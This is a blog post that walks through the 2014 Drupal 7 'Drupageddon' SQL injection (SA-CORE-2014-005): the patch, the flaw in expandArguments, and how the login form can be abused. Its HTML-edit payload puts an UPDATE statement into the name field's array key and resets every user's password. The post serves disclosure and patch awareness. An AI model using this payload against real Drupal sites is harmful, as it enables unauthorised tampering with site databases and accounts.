Drupageddon - SA-CORE-2014-005 - Drupal 7 SQL injection exploit demo
Yesterday Drupal security team announced highly critical bug at https://www.drupal.org/SA-CORE-2014-005. Looking at the actual patch which is simply:
<?php
- foreach ($data as $i => $value) {
+ foreach (array_values($data) as $i => $value) {
?>
I wondered how this could be exploited and how much time and effort it would take?
Therefore I decided to install older Drupal 7 version on my localhost and reverse engineer this bug. What I discovered was a shocking bug which gives anyone with basic knowledge about HTML/SQL a full access to your Drupal site.
Lets start from beginning.
Looking at the patched file in includes/database/database.inc I added some log functions to get sense of what expandArguments function does.
If you know Drupal, you know that to write a query with arguments you would use syntax like:
<?php
db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));
?>
The function assumes that it is called with an array which has no keys.
Which results in this SQL Statement
SELECT * from users where name IN (:name_0, :name_1)
with the parameters name_0 = user1 and name_1 = user2.
Problem occurs, if the array has keys, which are no integers. Example:
<?php
db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));
?>
this results in an exploitable SQL query:
SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1
with parameters :name_test = user2.
Since Drupal uses PDO, multi-queries are allowed. So this SQL Injection can be used to insert arbitrary data in the database, dump or modify existing data or drop the whole database.
However how to manipulate this from user which has no access to Drupal and which can't actually change the array of parameters?
My first taught was a login form.
I run a short search for db_query command in user.module and shockingly I found this!
<?php
$account = db_query("SELECT * FROM {users} WHERE name = :name AND status = 1", array(':name' => $form_state['values']['name']))->fetchObject();
?>
$form_state['values']['name'] is coming from user login form, respectively from name field.
When looking at what expandArguments function outputs for this query I found this:
SELECT * FROM {users} WHERE name = :name AND status = 1
And :name argument is seen like this:
array(1) {
[":name"]=>
string(5) " test"
}
Now the problem was how to get an array instead of string? My first taught was to manipulate the HTML. Looking at login form we see this HTML for name field:
<input type="text" id="edit-name" name="name" value=" test" size="60" maxlength="60" class="form-text required error">
Lets try to change this using Chrome Inspect Element into:
<input type="text" id="edit-name" name="name[1 ;UPDATE {users} SET pass= 'test123'; -- ]" value="" size="60" maxlength="60" class="form-text required error">
<input type="text" id="edit-name" name="name[1]" value="" size="60" maxlength="60" class="form-text required error">
What I did is changed the name into array, and added SQL injected query as array key.
Looking now at the logs from database.inc Drupal will parse it as:
SELECT * FROM {users} WHERE name = :name_1 ;UPDATE {users} SET pass= 'test123'; -- , :name_1 AND status = 1
And I just hacked myself! All my users now have 'test123' as a password in the database!
I managed to execute SQL injection into Drupal 7 using anonymous user in a less than 30mins of trying!
NOTE: This still won't allow you to login since Drupal uses SHA512 with salt so its not possible to actually login. Intentionally I didn't put the code in here, but obviously anyone with little bit of Drupal knowledge will know how to overcome this and construct the query which will give you full access!
Hopefully this blog will get you sense on how vulnerable this bug is and how urgent its for you to update your Drupal 7 sites.
This opens a question on how secure is Drupal and whos responsible for something like this? Apparently this bug was known for more than a year (https://www.drupal.org/node/2146839), but nobody didn't react on Drupal.org. Accidentally or intentionally? :)